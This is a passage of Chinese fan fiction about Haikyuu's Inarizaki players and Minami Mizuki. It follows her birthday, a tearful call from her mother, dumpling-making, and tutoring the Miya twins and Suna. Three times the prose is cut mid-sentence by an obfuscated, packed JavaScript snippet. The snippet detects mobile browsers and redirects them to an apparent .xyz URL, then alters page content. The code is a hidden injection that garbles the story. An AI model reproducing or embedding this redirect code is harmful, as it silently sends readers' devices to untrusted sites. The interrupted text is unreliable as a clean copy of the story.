是南见月刚刚摸摸观察的角名伦太郎,他还穿着球服,只是穿了件稻荷崎的枣红色运动外套,拿着钱包目标明确地往自动贩卖机这边走了过来。 自动贩卖机在南见月坐着的长椅对面,直直走过来的他自然也看见了南见月。 角名伦太郎的脚步顿了一瞬。 其实刚刚在比赛的时候他就看见她了,而且还发现了她在正大光明地观察自己。 这位喜欢吃脆筒雪糕的同年级同学不仅和北前辈认识,甚至还和北前辈一样把宫家那两个脱线的双胞胎管的服服帖帖的。 但南见月只是看了他一眼,又很快低下头去看自己的手机了。 角名发誓自己绝不是故意偷看,但是他的身高就在这,加上自动贩卖机就在她对面,经过她的时候无意间看到了对方亮起的手机屏幕,上面显示接收到了一条信息。 头像和队里的某灰发主攻手一模一样。 他一边想着,一边投币,按下果味饮料棒的按键。 指尖刚刚触及饮料棒的凉意,身后便传来脚步声。 是宫治。 急匆匆应付完宫侑赶来的宫治手里提着一个纸袋,完全忽略了自动贩卖机前蹲着的队友,目光被长椅上坐着的少女完全抢占。 他放慢脚步,平稳住急促的呼吸,道:“等很久了吗?” 南见月摇了摇头。 此时的角名也慢慢站直身体,宫治这才发现他,看着他手上的饮料棒,道:“北前辈说过剧烈运动之后要少吃凉的吧。” 角名不为所动,虽然对那位难搞前辈有一点点怵,但他又没在这。 撕开包装,他倚靠在一边的墙上,一边咬着饮料棒一边含糊不清地道:“唔,那……在这里吃完就好了吧。” 他没看两人,只是专注地享受着喜欢的饮料棒,心里却在想宫侑知不知道宫治已经给人买了伴手礼了。 宫治的嘴角抽搐了下,他果然就不该好心提醒。 明明可以独处的。 轻咳一声,他走近长椅,将手里提着的纸袋递到她面前。 “我们这次五一合宿去了大阪,我给你带了伴手礼。” 南见月没想到他还有心到记得准备伴手礼,有些惊讶地问道:“诶?可以吗?” 宫治直接放在了她的膝盖上,点了点头道:“当然,是大阪很有名的巧克力,我觉得你应该会喜欢,你好像很喜欢巧克力。” 光宫治撞见的就不下好几回,巧克力脆筒,放在口袋里的巧克力,甚至包包上还有可爱的巧克力挂件。 她真的很喜欢巧克力,宫治想。 南见月点了点头,道:“巧克力是很方便的食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440002|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢谢你的伴手礼,治。” 食物? 宫治和旁边摸摸竖起耳朵的角名都有些奇怪,巧克力在她这里的地位,竟然不是零食而是食物吗? 到底是多喜欢巧克力啊? 角名这么想,宫治则是直接问了出来,“……方便的……食物?” 南见月点点头,道:“巧克力可以很好的提供糖分和热量。” “为什么不在家吃饭呢?” 南见月道:“小学之后,父母的工作开始变忙,我总是往返在兴趣班和学校之间,没有时间,而且吃饱了马上坐车很容易想吐……” 小学三年级开始,南见月的课余时间很多都是在兴趣班度过的。 或许父母的感情就是从那个时候发生变化的。 虽然那个时候事业已有起色的父亲总会派人去接送她,但吃了饭再去总觉得时间很赶,而且她消化一直都不太好,不如只吃几块巧克力稳定下血糖来得舒服。 但还没回答完,南见月仿佛又听见了这个问题,她在某一时刻似乎听过同一个问题,用另一种她更熟悉的语言,另一道更温柔的声音。 捏紧袋子的提手,南见月想起来了。 母亲也问过这个问题。 【为什么不在家吃饭呢?】 母亲在难得聚齐的晚饭的时候,曾经以开玩笑的语气问过。 当时她只以为她在问父亲。 但现在想来,她似乎也在问,为什么连南见月也很少在家吃晚饭了。 真的只是因为时间紧吗? 好像也不是。 南见月不想在家看着晚饭时候母亲得知父亲不回来吃晚饭的失落,也不想听见偶尔赶回家吃饭的父亲一次次接起所谓“不得不接、十万火急”的工作电话,更不愿细想父母之间悄然改变的氛围。 所以她逃避似的给自己报了很多兴趣班。 空气似乎在此刻变成了粘稠的固体,南见月觉得有些呼吸困难。 母亲是一位画家,平常基本都是在家里的画室度过大把闲散的时间。 她有着大多数艺术家都有的、敏感纤细的神经,经常会因为花朵枯萎、小鸟飞走而产生情绪上的起伏。 似乎也是从那时候开始,她在画室的时间不断变长。 为什么一直忽略这一点呢? 南见月一直以为自己足够了解母亲,也觉得有体谅到对方。 结果到头来,她还是更像对很多事都漠不关心的父亲吗? 喉头艰涩,南见月有些说不出话来。 她的模样让宫治瞪大眼睛,他连忙蹲下身询问,“你怎么了?” 南见月摇了摇头,恰好此时放在包里的手机响起铃声。 “不好意思,我先接个电话。” 她庆幸此时有电话打进来,这样便可以顺利的移开目光,不去看那双盛满关心的眼睛,借着接电话的名义掩饰着自己的茫然无措。 然而亮起的屏幕显示来电,备注是—— “妈妈。” 意大利与日本相距一万公里,时差慢了将近八个小时。 此时是日本的下午两点半。 意大利应该是朝阳初升,她的母亲在醒来之后的第一件事,是打电话祝她生日快乐。 思绪在电光火石之间被拧成一束名为思念的绳索,缠绕在脆弱的心脏上,她鼻尖发酸,眼眶红了一圈。 妈妈。 好想妈妈。 15.包饺子 那是什么? 在看清之前,宫治下意识伸出手接住了。 但刚刚剧烈运动带来的肢体酸软让他的动作多了几分滞涩,只是堪堪擦过—— 那是一滴滚烫的泪水。 泪水擦过他的指尖,或许是因为刚刚接球、传球、扣球而产生的过度摩擦,他竟然感觉擦过泪水的指尖刺痛了一瞬。 极细小的声响,几不可闻。 但它滴落在装着巧克力的纸袋上,形成了一朵小小的暗色水渍,证明了自己的存在。 她在哭。 宫治怔怔地盯着那朵暗色的水渍。 南见月吸吸鼻子,咽了咽口水,站了起来。 她留下一句语气有些颤抖的“我过去接一下电话”就小跑着走了。 走到长廊的尽头,转过墙角不再看见别人之后,南见月擦擦眼泪,接通了电话。 她的声线恢复了平稳,“喂?妈妈。” 但电话那头的人一下子就发现了不对劲。 南见月的母亲叶暇放缓语气,道:“怎么啦?今天可是你的生日喔,怎么不太开心的样子。” 刚刚才擦干的眼眶像是不堪一击的堤坝,泪水再次奔涌而出。 “妈妈,我……” 话一出口,却是抖得不像样子。 “对不起。” 叶暇有些疑惑,她也直接地问道:“宝贝为什么要说对不起?” …… “嗯——原来是这样。” 南见月听见她说:“妈妈超级开心我的宝贝长大了,当时我也的确因为你和阿正都不回家吃饭而伤心过。但是现在想想,要是当时大家都坦诚一些或许会更好。不过这都已经过去了。 很抱歉我和你爸爸之间的事影响到了你,但你要知道,你从来都不是我们离婚的原因。 不过宝贝,如果再来一次,妈妈还是会选择和爸爸结婚,因为这样才能生下你。 无论我和阿正以后怎么样,你都是我珍爱的宝贝。 好了!现在我要说生日快乐啦。 我们亲爱的见月,十六岁生日快乐!” …… 挂断电话,南见月揉了揉眼睛,对着旁边反光的铁质扶手整理了一下仪容才回去。 宫治和角名都还在,他们坐在南见月刚刚坐着的长椅上,甚至宫治也买了一根饮料棒百无聊赖地咬着吃。 “你们不归队吗?” 听见她的话,两个拿着饮料棒的少年像是屁股下安了弹簧一样弹射站直。 宫治似乎更激动,他捏紧手中的饮料棒,葡萄味的紫色果汁喷了些出来,在胸前枣红色的队服上喷溅出了不规则的暗色污渍。 “你……” 面前的少女眼眶还是红红的,那双琥珀色的眼瞳却更加透亮,但她的神色却很轻松。 宫治止住话头,也放下心来。 而他身后的角名则又从钱包里拿出零钱,在一边的自动贩卖机里拿出来了一盒巧克力冰淇淋。 在宫治惊讶的目光下,他叼着饮料棒,把那盒冰淇淋递给了南见月。 “诶?” 角名伦太郎没看冰淇淋和南见月,只是道:“感谢应援。” 南见月下意识接过,道:“不用谢。” 角名伦太郎收回手,转身对上宫治惊诧的目光。 在他眼中,角名可一向是事不关己高高挂起的人物啊。 两人相顾无言,角名伦太郎觉得耳根烧的慌,他轻咳两声,两三下吃掉了手中还剩一半的饮料棒。 “我先走了。” 他不敢再留下,不敢再去看那双隐隐含着晶莹泪意的眼睛,胸腔里的血液像是沸腾开来,每一个破开的气泡都在不断撞击着他的心脏。 被留下的宫治和南见月面面相觑。 宫治吃完饮料棒,又买了一盒冰淇淋和南见月坐下和她一起吃。 “你怎么还不回去啊?” 宫治咽下嘴里的冰淇淋,却不知道该如何答话,他想直接询问南见月此刻的心情,却不知是否太过冒昧。 想了想,他道:“本来今天比完赛也是要放假的,复盘会议也被老师放在了下周一。” 意思就是…… “我送你回家吧。” 南见月挑眉发问:“不随队真的没关系吗?” 宫治道:“当然没事,跟老师说一声就好了。” 南见月点点头又摇摇头,她指和着角名一样依旧穿着球服,只是匆匆披了件外套的宫治道:“起码还把衣服换了吧,穿短裤会感冒的吧。” 宫治挖下一大勺冰淇淋塞进嘴里,含糊着点了点头。 两人在长廊处吃完冰淇淋,宫治去稻荷崎排球部所在的休息室换衣服,南见月则继续在原地等他。 但宫治是一个人去的,来的时候身后却又跟着一个甩不掉拖油瓶。 刚刚还拉着宫治不断掰扯着满脸不高兴的宫侑转过头,看见南见月就兴冲冲地跑了过来。 。。。。早该知道的。 南见月看着冲过来的宫侑,他平时有型的金发变得有些散乱,刘海被乱糟糟地掀起露出光洁的额头,不愧为入学不到两个月就拥有自己的后援团的耀眼人物。 如果他能闭嘴的话…… “我们是冠军诶!” “有没有被我的超高球技迷倒啊?哈哈哈这应该是理所当然的事吧。” “我们……” 宫侑一顿输出让南见月的嘴角彻底绷直了。 “好了快走吧,要赶不上车了。” 南见月准备提起自己的东西,但宫治已经很自然地帮她提起了。 “有点沉,我帮你拿。” 袋子里装着赤苇送的游戏机,本身不算沉,但里面还有很多零食和她在车站书店买的新漫画。 宫侑凑过来望了一眼,道:“你喜欢玩游戏对吧,你玩不玩实况足球啊?” 南见月摇了摇头,道:“不喜欢。” 她偏爱画风精致的探索冒险向和乙女向游戏,对于这种热血运动策略向敬谢不敏。 “啊……好吧。” 宫侑有些失落,他可是很想和南见月一起联机打游戏的。 宫治拍了他一巴掌,催促道:“走了。” 在离南见月家最近的车站下车的时候是四点钟,南见月刚下车就看见了一个熟悉的人影。 “……爷爷?” 提着大包小包,艰难挪动的南拓一郎耳朵动了动,讪笑着转过身看着南见月。 南见月上前几步接下他手里提着的东西,道:“医生说过你要少拿重物吧,要买什么东西直接让我带回来啊。” 南见月原本不知道是什么,直到她接过布袋,那一瞬间差点连手臂上的青筋都爆出来,透过袋口往里看—— 拓一郎抖了抖胡子,神神秘秘地道:“附近的店主们都认识我,我去的话能拿到最新鲜的食材!” “所以这就是你买十几斤土豆和胡萝卜的原因吗?” 南拓一郎看着孙女由青转红的小脸,别过头小声地道:“这可不是买的,是结仁依送给我们的,听说是她的孙子自己种的,和商超里的不一样……” 宫侑和宫治对视一眼,迅速上前来接过两人手里的东西。 “爷爷,我来拿吧。” 宫治和宫侑两人都比一般的男高中生高大健壮许多,南拓一郎自然不会忽略他们。 虽然手里沉重的食材被接过,但拓一郎还是板起了脸,轻哼一声。 他拉过南见月背对他们,用虽然小声但在场所有人都能听见的音量询问道:“难怪你早上八点就出门了,原来你说要约会的对象是一对双胞胎啊,你更喜欢哪个啊?” 感觉到背上仿若灼烧般的目光直射,南见月扶着拓一郎的手一顿,她叹了口气。 在拓一郎真诚发问的眼神中,南见月冷漠道:“我知道爷爷累了,您别说话了,我们快回去好好休息吧。” 身后的宫氏双胞胎难得的沉默。 到家的时候是由纪子来开的门,她看了看南拓一郎和南见月身后跟着的两个人高马大的少年,瞪大了眼睛。 这就领回来了? 还是两个? 南见月把拓一郎推进庭院,对上宫双子扬起了一个略带感激的客套微笑道:“谢谢你们送我回来,想必你们现在也需要好好休息,就不留你们吃饭了。” 言下之意就是你们可以走人了。 由纪子扶着拓一郎探出头道:“不留饭吗?人家不是特意从东京赶过来陪你过生日嘛……我刚好订了个超大的蛋糕呢。” 从东京赶过来…… 宫侑听了由纪子的话,他先是愣了愣,然后磨了磨牙,状若开朗地大笑三声,“哈——哈——哈,原来今天是小南的生日呢,那可真是个好日子。” 虽然是在笑,但是你的眼神未免有些太吓人了吧。 南见月别开视线,却见宫治上前一步,露出笑意。 他彬彬有礼地向由纪子和拓一郎问好,然后道:“您们好,我是宫治,他是宫侑。” 由纪子还没来得及说话,他便叹了口气垂下肩膀失落地道:“原来今天是她的生日,我们都不知道。” 为什么他们不知道,因为南见月没有告诉她们。 宫治低眉垂眼的样子显出十分的难过,让南见月都忍不住反思自己是不是很十恶不赦。 不过是没告诉他们自己今天生日而已。 由纪子轻咳两声,拉住南见月转身咬耳朵,“小月,你要不先进去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449137|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来打发他们。” 头好痛。 南见月摇了摇头,无奈地转身看着已经不自觉鼓着脸颊的两只问道:“你们要不进来坐一会儿,吃了饭和蛋糕再走。” “那就打扰了!”×2 顺杆爬倒是挺快! 把两人迎进门,南见月放了东西之后就去洗了水果,端出来的时候发现他们已经和由纪子聊得你来我往了。 “……佐藤老师可喜欢她了,说她的作文特别有意思,就是有时候错别字有点多……” “砰——” 南见月把装着水果的盘子放在桌上,道:“吃水果!” 宫侑轻哼一声,但还是点了点头。 由纪子捂嘴笑道:“阿侑在跟我说你在学校里的事呢,一定要好好享受这段难得的时光呢。” 宫治和宫侑一左一右地坐在由纪子身边,跟她说着学校里面的发生趣事,南见月在一边吃水果,看着由纪子脸上笑得舒展开来的皱纹,还要拓一郎竖着耳朵认真听着的样子。 她发现自己平日里,好像真的很少跟爷爷奶奶说学校里的事。 虽然她不爱上学不爱听课不爱参加课外活动,但他们好像对这些很感兴趣诶。 “好了,今天我来做饭吧。” 拓一郎连忙道:“我来,我已经想好菜单了!” 南见月无情否决,道:“如果你是想做你昨天试菜做的青花鱼刺身的话还是算了吧。” “我来帮忙吧。” 宫治站起来走到南见月身边,他道:“我可以帮你打打下手什么的。” “嗯……好,那你来吧。” “晚饭吃什么?” “饺子,煮的水饺。” 宫治疑惑地道:“过生日不是应该吃长寿面吗?” 南见月打开橱柜拿出一袋面粉,闻言回答道:“我妈妈那边的习俗,过生日要吃饺子。” 叶暇不喜欢做饭,基本只有家里有人过生日,她才会亲手包饺子。 饺子馅也很灵活多样,素馅和肉馅都有,想吃什么都可以。 正好拓一郎带回来了这么多蔬菜,也有新鲜的牛肉和猪肉。 “那做牛肉胡萝卜和三鲜的吧。” 宫治看着她开始称面粉,终于意识到了什么,他瞪大眼睛,“这是……” 日本这边大多数家庭确实都是买速冻的流水线饺子呢,就算自己包,也都是从超市买现成的饺子皮。 南见月把面粉和水按比例倒进了干净的容器里,搅成了不见干粉的面絮之后就停了手。 “来揉面吧。” “我吗?” “嗯,我教你。” 虽然宫治不会揉面,但他有的是力气,而且很听话。 南见月一边切胡萝卜一边抽空指导他,“第一次揉成团就好,等会还要醒的。” 宫治的手法一开始很生涩,但慢慢的就变得熟练起来。 分散的面絮在他手里逐渐变成白软的柔软面团,在南见月看过确认没问题之后盖着保鲜膜放在一边醒。 做饺子皮的面团要三揉三醒,醒面的空隙里就拿来调饺子馅。 期间宫侑想过来帮忙,在差点打翻了一盆南见月刚刚调好的馅之后被赶出去了。 等到所有的准备工作做好,南见月看了看宫治,又看了看一定要来帮忙跃跃欲试的宫侑。 她叹了口气,道:“那我和爷爷擀饺子皮,奶奶和你们两个包饺子吧,你会包饺子吗?” 最后一句话特别针对宫侑。 迎着她怀疑的目光,宫侑挺了挺胸膛,道:“我当然会了,我帮妈妈包过一次饺子的!” 南见月信了,因为她没看见旁边宫治疯狂抽搐的嘴角。 当然最后宫侑包的饺子被单独地隔了出来。 这家伙喜欢吃肉,饺子皮也就那么点大,每个饺子都被包成了大肚子…… “我先去把这些煮出来吧。” 相比日本普遍是煎饺的做法,南见月更喜欢煮,不过宫侑那盘估计得蒸了。 她可不想吃一锅肉沫煮面片。 滚水里翻腾的饺子白白胖胖,鼓起了肚皮,隐隐透出肉馅的粉色。 两种馅煮了两锅,南见月分开盛了出来端上餐桌。 由纪子把多包出来的饺子用饭盒装好,听见南见月的声音打发拓一郎去帮着拿餐具,宫双子也自觉地帮着她收拾残局。 宫侑面前是一盘蒸饺,没捏紧的饺子皮崩开来,能够看见内里油润的肉馅,饺皮晶莹,香气四溢。 南见月给他盛了一小碗煮出来的水饺,道:“能吃完吧?” 宫侑猛猛点头。 “吃吧。” 面皮柔软劲道,肉馅鲜香,和她记忆里的味道如出一辙。 16.蔬菜汤 包多了的饺子让宫双子带走了一部分,南见月给他们打包好,又送他们离开。 还没出院门,宫妈妈就打来了电话,于是宫治在一边接电话。 “那个……” 南见月转头,看见宫侑有些踌躇地叫住她,见她转头又犹犹豫豫地说不出话。 不会要问她赤苇的事吧,她一点也不想和他聊这个。 但宫侑站定立在原地,微沉的夜色里,他没看南见月,只是红着脸道:“生日快乐啊。” 南见月愣了愣才道:“嗯,谢谢你。” 宫侑又看了她一眼,状若埋怨地道:“你该告诉我你今天生日的啊,我连礼物都没准备,哼,我们……我们难道不是好朋友吗?” 啧。 南见月觉得宫侑是真的有点可爱。 他明明非常想问关于自己今天的约会,但还是选择了先祝她生日快乐。 “嗯,你说得对,不过礼物就不需要啦,今天一起包饺子很开心。” 南见月点头答道。 似乎是结束了通话,宫治走了过来,他听见了南见月的话,道:“生日快乐,谢谢你邀请我们……” 在月色下,他的眼底显出一片仿佛被水雾洇开的灰蓝色,“饺子很好吃。” 送完他们,南见月转身回家。 今天晚上还要早点睡,明天周日,要去农场帮忙的。 第二天在农场仍然不意外地碰见了北信介。 五月的阳光开始显出威力,即便是清晨,他也提前戴好了帽子。 他拿着单子,仔细核对今天采摘或者耕种的田地。 看见南见月,北信介对她招了招手。 交代了今天的事务之后,南见月问道:“北前辈,请问农场里的结仁依奶奶是哪位啊?” 昨天拓一郎带回来的那么大一袋胡萝卜和土豆,由纪子询问过后得知是结仁依奶奶送的,特意打了电话过去感谢。 北信介挑眉道:“你不知道吗?” 他笑了笑,道:“也是,你就见过她一次。” 时间还早,北信介干脆带着她进了休息室,从储物柜里拿出自己的饭盒,在南见月疑惑的目光下,拿出了一个用保鲜膜包住的饭团递给了她。 “奶奶今天没过来,不过她说不用谢,你喜欢那些蔬果就好。还有,生日快乐,虽然晚了一天。” “今天要摘西红柿,所以这么早让你过来,奶奶说看你上次很喜欢她做的饭团,特意让我多带了些。” 南见月捧着饭团睁大了眼睛,“原来那位休息室的奶奶就是您的……” 北信介点了点头,道:“嗯。” 所以那些胡萝卜和土豆也是北前辈种的,北奶奶甚至还记得她起太早不爱吃早饭特意多做了饭团。 结仁依奶奶和北信介在南见月心中的形象更新了,是世袭罔替的一代神明和二代神明。 揣着暖呼呼的饭团,南见月推着放着篮筐的推车开始了一天的劳作。 周一收假回学校,黄金周的假期结束,大家都没什么变化。 不过? 随着下课铃声响起,南见月清醒过来看着转过身和她讲话的桃濑雪菜,疑惑地道:“你怎么……” 晒黑了这么多。 桃濑雪菜估计也是被问多了,她捂着下半张脸苦笑道:“我和家人去海边玩,天天游泳,才几天就晒成这样了。” 她忧愁的直叹气,南见月捧起她的脸细细端详,道:“但是晒得很均匀,感觉很阳光的样子。” 听南见月这么说,桃濑雪菜又立马回复心情值,道:“嘿嘿,那确实,我也觉得。” 两人又交流了一番假期见闻,直到第二节课前数学老师提前来了宣布要小测。 不出意外,班上立刻响起一片哀嚎。 身后的宫侑声音尤其大。 但无济于事。 该考还是得考。 雪白的试卷传了下来,南见月偏过身体把试卷递给后面垂头丧气的的宫侑。 他的一双浓眉皱成八字,和平日里意气风发的样子相差甚远。 这人周身萦绕着生无可恋的气息太过浓厚,趁着还没上课,南见月安慰道:“题目不难的,仔细点能及格的。” 宫侑眨眨眼睛,道:“可是我数学都没考过二十分以上,这样也可以吗?” 南见月嘴角抽搐,面无表情地转过身。 事实证明当然不可以。 当天中午小测的成绩就出来了,宫侑以十一分的成绩稳坐班级倒数第一的位置。 他垂头丧气地走进办公室,又喜笑颜开地出来。 南见月看着走路生风回来的宫侑真诚发问,“你的精神状态还好吗?” 毕竟数学老师是个火爆性子,生气从来不憋着自己。 宫侑喜滋滋地摇了摇头,把自己满是红勾的卷子放到南见月面前。 “老师说你考了将近满分,让我多多请教你。” 他话音刚落,南见月就站起身来准备往外走,“我突然想起来有点事先走了。” 比起辅导宫侑,她宁愿跑到自己的秘密基地一边玩手机一边吃午饭。 宫侑眼疾手快地拦住她,不满地道:“你教我嘛……我会超认真学的!” “不要。” “为什么啊!你是不是嫌我笨。” 宫侑开始委屈了,他弯腰猛地凑近,或许是没刹住,撞上了她的肩膀,几乎要和她鼻尖贴着鼻尖。 像是拥抱一样—— 南见月还没怎么,他自己倒是先吓了一大跳,脸和脖子以一种可怕的速度迅速变红,几乎是往后跳似的和她拉开了距离。 南见月轻笑出声。 “这样吧……” “给你补习也不是不可以。” 宫侑拍了拍自己的脸,试图让温度降下来一些,他问道,“所以我要怎么样?” “首先,我给你讲题的时候要认真听,其次我只有午饭的时候有时间,最后,作为给你讲题的回报,有时间让我拍几张照片作为参考的素材。” 宫侑大喜,他连连点头,道:“好!” 不仅如此,他还志得意满地拍拍胸脯,道:“拍多少张都可以!怎么拍都可以!” 南见月满意地看着他即便是穿着衣服也能看出的肌肉线条,道:“这可是你说的。” “OK,那明天开始。” 她拿出便当袋,迅速绕过宫侑去吃饭。 这时候的南见月还不知道她答应了什么。 当得知宫侑在她这里补习后,在某个她快要被宫侑逼到抓狂的午间,北信介领着另外两只找到了他。 或许是知道这项任务的艰辛困难,北信介也有些难以启齿,他押着宫侑宫治角名伦太郎三人,连带着自己,向南见月郑重地鞠了个躬。 “虽然很麻烦你,但是,他们几个下个月的月考必须得及格,可以请你也辅导一下他们吗?” 6月有Inter High的预选赛,如果不及格可能就没办法上场了。而北信介还要帮某些身为二年级但依旧不及格的前辈补习,实在是分身乏术。 但队里其他人,很少有人既镇得住这对活蹦乱跳的双胞胎,还保持着可以给人授课的良好学业成绩。 南见月觉得有点头晕,她正想推辞,却听见北信介道:“请你认真考虑一下,如果有什么要求,只要在我能力范围内,我都会尽力去做。” 怎么能用神明大人的脸作出这么诚恳的表情的同时,又说出这样像妖魔一样具有诱惑力的话语? 南见月把答应给宫侑补课的条件说了一遍。 “这些都没问题,拍照?是拍哪种照片?” 角名伦太郎有些迟疑地问道。 “反正不会让你们脱光的。” 简单直白到在场四个男生闹了四个大红脸。 总之,给这三个难搞的一年级补课这件事算是就此敲定了下来。 折磨四个人的午间补习一直持续到了五月的尾巴,下周一就是六月的月考了。 虽说三个人在各个科目上都有了明显的提升,但为了保证自己的付出没有白费,南见月还是决定利用自己宝贵的周末给他们进行最后一次强化训练。 地点经过讨论,一致决定定在北信介家里。 南见月赶到的时候不算早,据说北信介已经带着他们晨练完了。 但是,南见月猜北信介根本不知道,宫侑平时就是早训完之后的那节课睡得最香。 所以被结仁依和北信介迎进来,拉开障子门看见趴在桌子上睡倒、不为外物所动摇的一群体育DK的时候,南见月是不觉得奇怪的。 她安静地坐在上首位,拿出课本和资料,等待北信介把他们三个人叫醒。 夏天的早上大概是一整天里最舒适的时候了,温度不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451720|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算高,庭院吹进来芬芳的草木香味,连南见月都觉得在这样的清晨学习着实是有些破坏气氛了。 但IH预算赛迫在眉睫,容不得这几位一年级主力队员出差错,于是被北信介叫醒的他们只能揉着惺忪的睡眼,强撑着精神听着南老师讲押题详解。 北信介则在一旁写着自己的作业,时不时给南见月手边的杯子添上茶水。 讲完最后一道数学的押题,南见月都觉得自己已经严重透支了精力和耐心,她灌下一整杯大麦茶,终于缓解了喉咙的干涩,无力地趴在桌子上休养生息。 宫侑宫治已经眼神无光了,疑似用脑过度面临死机。 角名伦太郎的状态稍好些,但连掏出手机的力气都没了,眯着眼睛撑着下巴叹气。 北信介的目光从南见月写得满满的练习册上一扫而过,他放下了笔、合上书本,轻声推开门走了出去。 “好香。” “什么味道?” 南见月和宫治对视一眼,都在对方眼底看到了同样的期待。 看了看时间,已经十一点半了。 “应该是北奶奶在做午饭了吧。” 虽然来之前吃过了早餐,但脑力劳动也是劳动,南见月深吸一口空气中隐隐的鲜香,她品出了饥饿的滋味。 果然没一会儿,北信介就来喊他们吃饭了。 清甜鲜香的味道越接近厨房越浓,南见月走了进去,一眼就锁定了香味的源头。 一锅色泽清亮的蔬菜汤。 结仁依正盛好了最后一碗汤,她看见走进来的南见月,笑着道:“马上就好啦,是不是很饿?” 面对着她带着关心的询问,南见月坦诚地点了点头,“汤太香了,闻到就发现自己好饿好饿。” 结仁依笑着道:“那等会可要多喝些。” 南见月点点头,从她手中接过托盘端了出去。 她一边走路一边分出注意力观察着汤里的食材,西葫芦、洋葱、胡萝卜、土豆块、昆布、香菇…… 全都是蔬菜,炖出来的汤上面没有一丝油花,清亮微黄,散发出奇特的鲜香清甜。 几乎能够一眼看出食材和做法,甚至可以随意增减食材的种类,做法简单却极美味。 当然,为了营养均衡,北奶奶还做了煎鱼和鸡蛋卷。 但南见月最喜欢这一碗蔬菜汤,她最喜欢里面的西葫芦,汁水丰润,吸收了香菇和洋葱的香气,但并没有失去自己清甜的本味。 放下碗和筷子,南见月满足得觉得自己还能教三个宫侑。 吃完饭,那三只被关在了房间里背诵单词和古文,南见月和北信介悠闲地在庭院里喝茶。 北奶奶回了房间,北信介便坐在一边泡茶。 他的动作熟练且从容,应该是专门学过的。 南见月突然道:“北前辈这次的IH会上场吗?” 北信介的动作微微一顿,道:“不会。” “我还没有看过你打球呢。” 北信介把茶杯放在她面前,道:“我的技术也就是还不错的水平,在人才辈出的稻荷崎只是一名普普通通的部员而已。” 普普通通? 普普通通的人怎么可能压得住比妖魔鬼怪还难搞的宫家双胞胎,甚至连那个一看就我行我素又狡猾的角名也明显把他当做了值得敬重的前辈。 “这样啊。” 南见月端起茶杯喝了一口,开始看着院子里的酢浆草发呆。 耳边突然传来北信介的声音,他问道:“那你要来看预选赛吗?下周六下午。” 她酝酿了一下感情,露出真诚期待的表情,道:“北前辈也是主攻手?在球场上也一定很可靠吧,好想看到北前辈上场的表现啊。” 南见月对上他的眼睛,发现自己还是没能在那双平静的眼睛里找出任何情绪,有些挫败。 这个人是人机吗? 她都说出这种等同于恭维的话了,居然连最基本的动容都没有。 南见月突然觉得无趣,她轻哼一声,连带着喝了半口的清茶也觉得索然无味,借口去监督背诵回了房间。 现在尚且年轻的南见月还不知道,神明大人是能够洞察人心的。 北信介看着浅口茶杯里剩下的茶水,他轻叹一口气。 真是顽劣又不坦诚的孩子。 “你明明……” “并不期待我的表现——” 17.咖喱包子 月考结束。 分数下发的午间,南见月靠着后门站着,捏着一沓试卷翻看,面前站着三个如临大敌的高中生。 幸好宫双子和角名伦太郎都顺利通过了考试,区别是宫侑宫治是擦着及格线低空飞过,而角名是真的有了很大的进步。 “宫侑。” 为了方便区分两兄弟,南见月一向是直呼其名的,但如果补课的时候谁没好好听就会被叫全名。 这也导致了宫侑被她叫出全名的时候有一瞬间的僵直感。 南见月把他的试卷递过去,道:“虽然还有很多低级错误,但也算差强人意。” “宫治。” “在。” 过于正式的应答让南见月无语地笑了一下,她同样把卷子递给宫治,道:“你的英语是弱项,有时候多背背单词。” “最后是角名。” 他的卷子要比宫双子的整洁空旷许多,几乎每一题都是用最简单的解法,能不多写就不多写那种。 南见月赞许地点了点头,对上那双灰绿色的眼睛,道:“进步很大,看来角名有在好好努力,继续加油。” 把卷子都还给他们,南见月就准备收拾收拾回家了。 下午职工大会不上课,她打算直接回家。 宫侑跟了进来,道:“我们明天下午有比赛,你来看嘛。” 他刻意放软了腔调,配上那张池面脸看上去着实有些让人动容的魅力。 南见月背好包,看了他一眼,道:“不行哦。” 宫侑的脸一下就垮了下来,他捏住南见月包上软软的小挂件,道:“为什么嘛?” 感受到阻力,南见月转过身,无奈地扒开他的手指将那只可怜的玩偶挂件拯救出来。 指尖捏着的软乎乎被南见月抽走,或许是出于某种代偿心理,他握住了南见月的手。 像是对待某种小动物的肉垫一样,宫侑鬼使神差地也捏了捏她的手掌。 好软。 和自己相比,这只手要小上一大圈,没有任何突出的骨节,柔软温热。 等到宫侑反应过来的时候,南见月已经用了点力把自己的手抽了出去。 “周末要去一趟京都所以没办法来看比赛,不过有时间的话会看转播的,你们加油哦。” 南见月出了教室,朝还没离开的三人挥了挥手,简单地解释了一下。 